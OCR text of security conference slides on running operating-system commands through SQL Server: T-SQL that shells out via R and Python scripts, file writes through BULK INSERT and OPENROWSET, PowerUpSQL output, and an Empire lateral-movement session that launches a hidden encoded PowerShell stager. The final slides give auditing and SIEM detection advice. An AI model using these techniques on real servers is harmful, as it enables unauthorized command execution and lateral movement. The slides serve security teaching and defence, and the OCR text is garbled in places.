VERBOSE: 1 LogReader Jobs

VERBOSE: 1 CmdExec Jobs

VERBOSE: 470 Total

VERBOSE:; --------scsemmmmmmieccceceeeaee

¢ Use on scale to get stats in verbose

Get-SQLInstanceDomain | Get-SQLAgentJob - Verbose
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Agent Jobs - Automation - PowerUpSQL
¢ Invoke-SQLOSCmdAgentJob
¢ Written by Leo Loobeek
¢ Gold Star PowerUpSQL contributor!
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Agent Jobs - Automation - PowerUpSQL

PowerUpSQL Function

List Agent Jobs Get-SQLAgentJob
OS CMD via CMDEXEC Invoke-SQLOSCmdAgentJob -SubSystem CMDEXEC
OS CMD via PowerShell Invoke-SQLOSCmdAgentJob -SubSystem PowerShell
OS CMD via JScript Invoke-SQLOSCmdAgentJob -SubSystem Jscript
OS CMD via VBScript Invoke-SQLOSCmdAgentJob -SubSystem VBScript
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External Scripts

R & Python 2
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External Scripts - Overview
¢ R introduced in SQL Server 2016
¢ Python introduced in SQL Server 2017
¢ Both are used for “big data” analytics and machine learning stuff
¢ Runtime environments must be installed with SQL Server

¢ Require sysadmin privileges to run by default ra

¢ Run as a dynamically created local Windows user account A
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External Scripts - Instructions

1.

The R / Python runtime environment must be installed
already

The ‘external scripts enabled’ server configuration must
be enabled

The SQL Server service must be restarted for the change a
to take effect ;

Then ‘sp_execute_external_script’ can be used to
execute OS commands via R and Python scripts




BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - R SCRIPT SENETSPI

R Scripts - Code Sample - TSQL

EXEC sp_execute_external script

@language=N'R’,

@script=N'OutputDataSet <- data.frame(system("cmd.exe /c
whoami",intern=T))'

WITH RESULT SETS (([cmd_out] text));
GO
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Python Scripts - Code Sample - TSQL

EXEC sp_execute external script

@language =N'Python’,

@script=N'import subprocess

p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])’
WITH RESULT SETS (([Output] nvarchar(max)))

104  Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
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External Script - Automation - PowerUpSQL

PowerUpSQL Function

OS CMD via R Script Invoke-SQLOSCmdR
OS CMD via Python Script Invoke-SQLOSCmdPython
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R Scripts - Automation - PowerUpSQL

PS C:\> Invoke-SQLOSCmdR -Verbose -Instance Serverl\SQLSERVER2017 -command whoami
VERBOSE: Creating runspace pool and session states

VERBOSE: Serverl\SQLSERVER2017 : Connection Success.

VERBOSE: Serverl\SQLSERVER2017 : You are a sysadmin.

VERBOSE: Serverl\SQLSERVER2017 : Show Advanced Options is disabled.

VERBOSE: Serverl\SQLSERVER2017 : Enabled Show Advanced Options.

VERBOSE: Serverl\SQLSERVER2017 : External scripts enabled are disabled.

VERBOSE: Serverl\SQLSERVER2017 : Enabled external scripts.

VERBOSE: Serverl\SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.’
VERBOSE: Serverl\SQLSERVER2017 : Executing command: whoami

VERBOSE: Serverl\SQLSERVER2017 : Disabling external scripts

VERBOSE: Serverl\SQLSERVER2017 : Disabling Show Advanced Options

VERBOSE: Closing the runspace pool

ComputerName Instance CommandResults

Serverl Serverl\SQLSERVER2017 Serverl\sqglserver201701




BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - PYTHON SCRIPT SENETSPI

Python Scripts - Automation - PowerUpSQL

PS C:\> Invoke-SQLOSCmdPython -Verbose -Instance Serverl\SQLSERVER2017 -command whoami
VERBOSE: Creating runspace pool and session states

VERBOSE: Serverl\SQLSERVER2017 : Connection Success.

VERBOSE: Serverl\SQLSERVER2017 : You are a sysadmin.

VERBOSE: Serverl\SQLSERVER2017 : Show Advanced Options is disabled.

VERBOSE: Serverl\SQLSERVER2017 : Enabled Show Advanced Options.

VERBOSE: Serverl\SQLSERVER2017 : External scripts enabled are disabled.

VERBOSE: Serverl\SQLSERVER2017 : Enabled external scripts.

VERBOSE: Serverl\SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.'
VERBOSE: Serverl\SQLSERVER2017 : Executing command: whoami

VERBOSE: Serverl\SQLSERVER2017 : Disabling external scripts

VERBOSE: Serverl\SQLSERVER2017 : Disabling Show Advanced Options

VERBOSE: Closing the runspace pool

ComputerName Instance CommandResults

Serverl Server1\SQLSERVER2017 Serverl\sqlserver201701
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File Autoruns
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File Autoruns - Writing Files

¢ OpenRowSet / OpenDataSource / OpenQuery
— Requires sysadmin or bulk insert privileges

— Requires the ‘Microsoft.ACE.OLEDB.12.0’ or similar provider to be
installed

— Requires sp_configure ‘ad hoc distributed queries’, 1

¢ Bulk Insert File Copy "I/"‘l\

— Requires sysadmin or bulk insert privileges

— Requires local, UNC, or WebDav path to copy file content
¢ Haven’t had time to verify the full WebDav PoC yet (exfil)
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File Autoruns - OpenRowSet File Write

-- Note: Requires the driver to be installed ahead of time.

-- list available providers
EXEC sp_MSset_oledb_prop -- get available providers

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure

go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1

reconfigure

go

-- Write text file

INSERT INTO OPENROWSET (‘Microsoft. ACE.OLEDB.12.0',' Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM
[file.txt]")

SELECT @@version

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \ip@80\file.txt However, the target web server needs to support propfind.
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File Autoruns - Bulk Insert Read File

-- Create temp table
CREATE TABLE #file (content nvarchar(4000));

-- Read file into temp table
BULK INSERT #file
FROM 'c:\templ\file.txt';

-- Select contents of file
SELECT content FROM #file

112 https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
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File Autoruns - Automation - PowerUpSQL
¢ TSQL File write via BULK INSERT ErrorFile
¢ Written by Antti Rantasaari
¢ Gold Star PowerUpSQL contributor!
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File Autoruns - Bulk Insert Error - File Write/Copy

-- author: antti rantassari, 2017

-- Description: Copy file contents to another file via local, unc, or webdav path

-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs

CREATE TABLE #errortable (ignore int)

BULK INSERT #errortable

FROM "\localhost\c$\windows\win.ini'

WITH

(

fieldterminator=",",

rowterminator="\n',
errorfile="c:\windows\temp\thatjusthappend.txt’

)

drop table #errortable

114 https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
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File Autoruns - Bulk Insert Error File Copy

-- author: antti rantassari, 2017

-- Description: Copy file contents to another file via local, unc, or webdav path

-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs

CREATE TABLE #errortable (ignore int)

BULK INSERT #errortable

FROM "\localhost\c$\windows\win.ini' -- or 'c:\windows\system32\win.ini' -- or \\hostanme @SSL\folder\file.ini’
WITH

(

fieldterminator=",",

rowterminator="\n',

errorfile="c:\windows\temp\thatjusthappend.txt’

)

drop table #errortable

115 https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
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Uuuh - That was too much
crap at once.

119
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PowerUpSQL Functions PowerUpSQL Templates

Execute xp_cmdshell * Invoke-SQLOSCmd » oscmdexec_xpcmdshell.sql
» oscmdexec_xpcmdshell_proxy.sql

Create & Execute a Extended Stored Procedure * Create-SQLFileXpDll * cmd_exec.cpp
* Get-SQLStoredProcedureXp

Create & Execute a CLR Assembly * Create-SQLFileCLRDLL  cmd_exec.cs
* Get-SQLStoreProcedureCLR
* Get-SQLStoreProcedureCLR -ExportFolder C:\temp\
* Invoke-SQLOSCmdCLR

Execute a OLE Automation Procedure * Invoke-SQLOSCmdOle » oscmdexec_oleautomationobject.sql
Create & Execute an Agent Job * Get-SQLAgentJob + oscmdexec_agentjob_activex_jscript.sql
* CmdExec * Invoke-SQLOSCmdAgentJob » oscmdexec_agentjob_activex_vbscript.sql
» PowerShell » oscmdexec_agentjob_cmdexec.sql

» ActiveX: Jscript » oscmdexec_agentjob_powershell.sql

» ActiveX: VBScript

External Scripting * Invoke-SQLOSCmdR » oscmdexec_rscript.sql

* R * Invoke-SQLOSCmdPython » oscmdexec_pythonscript.tsql
* Python

OS Autoruns * Get-SQLPersistRegRun + writefile_bulkinsert.sql

» Bulk Insert * Get-SQLPersistRegDebugger

* Provider

e Microsoft.ACE.OLEDB.12.0
e Microsoft.Jet.OLEDB.4.0

https://github.com/NetSPl/PowerUpSQL/tree/master/templates



Technique

Execute xp_cmdshell

Create & Execute a Extended Stored Procedure

Create & Execute a CLR Assembly

Execute a OLE Automation Procedure

Create & Execute an Agent Job
+  CmdExec

» PowerShell

« SSIS

» ActiveX: Jscript

» ActiveX: VBScript

External Scripting: R

External Scripting: Python

OS Autoruns

- File
* Registry
Providers

e Microsoft.ACE.OLEDB.12.0
* Microsoft.Jet.OLEDB.4.0

Affected
Version

2000 - 2017

2000 - 2017

2008 -2017

2000 - 2017

2000 - 2017

2016 - 2017

2017

2000 - 2017

2005 - 2017

Requires
Sysadmin
By default

Yes

Yes

Yes

Yes

Yes

Yes

Yes

Yes

Yes

Can be Run as
Non-sysadmin
with

Specific
Privileges

Yes

No

Yes

Yes

Yes

No

No

Yes

Maybe

Execution
Context

SQL Server Service Account
xp_cmdshell Proxy Account

SQL Server Service Account

SQL Server Service Account

SQL Server Service Account

SQL Server
Agent Service Account
Proxy Account

SQL Server Service Account

SQL Server Service Account

Depends on autorun
location

SQL Server
Service Account

Proxy
Account
Option

Yes

No

No

No

Yes

No

No

No

Yes

Requires
Server
Config
Change

Yes

No

Yes

Yes

No

Yes

Yes

Yes

Yes

Requires
Disk
Read/Write

No

Yes

No

No

No

No

No

Yes

Yes

Commands to Watch / Requirements

sp_addextendedproc 'xp_cmdshell’, 'xplog70.dll’
EXEC sp_configure 'xp_cmdshell’, 1;
xp_cmdshell ‘whoami’
sp_xp_cmdshell_proxy_account

Grant execute on xp_cmdshell to [x]

sp_addextendedproc

sp_configure ‘clr enabled, 1;

sp_configure ‘clr strict security’, 0;

CREATE ASSEMBLY+CREATE PROCEDURE , ALTER
ASSEMBLY, or DDL_Admin

Requires: Database has ‘Is_Trustworthy’ flag set.

sp_configure ‘Ole Automation Procedures’, 1;

GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to
[public]

GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to
[public]

sp_add_job that is not tsql

Runs as agent service account when created by sysadmin.
Must be configured with proxy account for non sysadmin
users provided a agent role: SQLAgentUserRole,
SQLAgentReaderRole, SQLAgentOperatorRole

sp_configure ‘external scripts enabled’, 1;

sp_configure ‘external scripts enabled’, 1;

Files: Bulk Insert:

GRANT ADMINISTER BULK OPERATIONS TO [public]
Files: sp_addlinkedserver / Openrowset / Opendataset
Registry: xp_regread / xp_regwrite

sp_addlinkedserver / Openrowset / Opendataset
Sp_configure ‘enabled ad-hoc queries’,1
Can mdb be unc?
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FUTURE RESEARCH
¢ Other providers.

¢ Write one function to evaluate audit controls, cmdexec options,
and automatically choose best one.
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SQL Server Empire Modules GOTCHA!

1. Get-SQLInstanceDomain
2. Get-SQLServerinfo

3. Get-SQLServerDefaultLoginPW
4. Get-SQLQuery

5. Get-SQLColumnSampleData
6. Invoke-SQLOSCmd
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(Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqgloscmd
(Empire: powershell/lateral_movement/invoke_sgloscmd) > options

Name: Invoke-SQLOSCMD
Module: powershell/lateral_movement/invoke sqloscmd
NeedsAdmin: False

OpsecSafe: True

Language: powershell

MinLanguageVersion: 2

Background: True
OutputExtension: None

Authors:
@nullbind
@O0xbadjuju

Description:
Executes a command or stager on remote hosts using
xp_cmdshell.

Options:

Name Required Value Description

Listener False Listener to use.

CredID False CredID from the store to use.

Command  False Custom command to execute on remote hosts.

Proxy False default Proxy to use for request (default, none, or other).

UserName False [domain\Jusername to use to execute command.

Instance True Host[s] to execute the stager on, comma separated.

UserAgent False default User-agent string to use for the staging request (default, none, or other).

ProxyCreds False default Proxy credentials ([domain\Jusername:password) to use for request (default, none, or other).
Password False Password to use to execute command.

Agent True NCH9K51L Agent to run module on.
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(Empire: powershell/lateral_movement/invoke_sqgloscmd) > set Instance sql-2012.test.local
(Empire: powershell/lateral_movement/invoke_sgloscmd) > set Command whoami
(Empire: powershell/lateral_movement/invoke_sgloscmd) > run

(Empire: powershell/lateral_movement/invoke_sgloscmd) >

Job started: 6KVEUC

sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :

Connection Success.
You are a sysadmin.
Show Advanced Options is disabled.
Enabled Show Advanced Options.
xp_cmdshell is disabled.
Enabled xp_cmdshell.
Running command: whoami

nt service\mssqlserver

sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
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(Empire: powershell/lateral_movement/invoke sgloscmd) > unset Command
(Empire: powershell/lateral_movement/invoke sgloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke sqgloscmd) > run

(Empire: powershell/lateral_movement/invoke sgloscmd) >

Job started: X3U26K

[+] Initial agent 59BNMXTA from 192.168.1.195 now active

sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :
sql-2012.test.local :

Connection Success.

You are a sysadmin.

Show Advanced Options is disabled.
Enabled Show Advanced Options.
xp_cmdshell is disabled.

Enabled xp_cmdshell.

sql-2012.test.local : Running command:
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NoP -sta -Nonl -W Hidden -Enc
[TRUNCATED]

sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options

(Empire: powershell/lateral_movement/invoke_ sqgloscmd) >
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You have the power
to change that.
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You need to audit
and alert on that sh*t.
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Let’s do it!
1. Create Server Audit
2. Create Server Audit Specification

3. Create Database Audit Specification

-"\

o
‘Wﬁ’h goes, there EA—.
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Auditing - Code - TSQL - Create Server Audit

-- Create and enable an audit

USE master

CREATE SERVER AUDIT DerbyconAudit

TO APPLICATION_LOG

WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
ALTER SERVER AUDIT DerbyconAudit

WITH (STATE = ON)

132 Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
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Auditing - Code - TSQL - Create Server Specification

-- Server: Audit server configuration changes

CREATE SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes]
FOR SERVER AUDIT DerbyconAudit

ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes

ADD (SERVER_OPERATION_GROUP)  -- Audit server changes

WITH (STATE = ON)

133 Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
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Auditing - Code - TSQL - Create Database Specification

-- DATABASE: Audit common agent job activity

Use msdb

CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs]
FOR SERVER AUDIT [DerbyconAudit]

ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo])
WITH (STATE = ON)

-- DATABASE: Audit potentially dangerous procedures

use master

CREATE DATABASE AUDIT SPECIFICATION [Audit_ OSCMDEXEC]

FOR SERVER AUDIT [DerbyconAudit]

ADD (EXECUTE ON OBIJECT::[dbo].[xp_cmdshell] BY [dbo]),

ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]),

ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- 2016 and later
ADD (EXECUTE ON OBJECT::[dbo].[Sp_oacreate] BY [dbo]),

ADD (EXECUTE ON OBIJECT::[dbo].[sp_add_trusted _assembly] BY [dbo]), --2017
ADD (EXECUTE ON OBIJECT::[dbo].[xp_regwrite] BY [dbo])

WITH (STATE = ON)

134 Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
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SIEM Cheatsheet

Windows Application Log
Event ID: 15457
Description: Server configuration changes.

Configuration option ‘external scripts enabled’ changed from 0 to 1. Run the RECONFIGURE statement to install.
Configuration option 'Ole Automation Procedures’ changed from 0 to 1. Run the RECONFIGURE statement to install.
Configuration option 'clr enabled’ changed from 0 to 1. Run the RECONFIGURE statement to install.

Configuration option 'clr strict security’ changed from 0 to 1. Run the RECONFIGURE statement to install.
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
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SIEM Cheatsheet

Windows Application Log
Event ID: 33205
Description: Agent and database level changes.

- msdb.dbo.sp_add_job Watch for potentially malicious ActiveX, cmdexec, and powershell jobs.
- sp_execute_external_script Watch for cmd.exe and similar calls.

- sp_OACreate Watch for Sp_oacreate 'wscript.shell’ and similar calls

- sp_addextendedproc Watch for any usage

- sp_add_trusted_assembly Watch for unauthorized usage
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Take Aways

1.
2.

xp_cmdshell is NOT the only OS command execution option

SQL Server can be used as a beach head to help avoid detection
during domain escalation and red team engagements

Empire and PowerUpSQL have modules/functions to support som
of the attacks and auditing

Every technique can be logged, but most people don’t

— We can be better!
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QUESTIONS?

http://slideshare.net/nullbind/
@0xbadjuju

@ nullbind




S NETSPI

BEYOND XP_CMDSHELL: TAKE AWAYS

QUESTIONS?

http://slideshare.net/nullbind/
@0xbadjuju

@ nullbind
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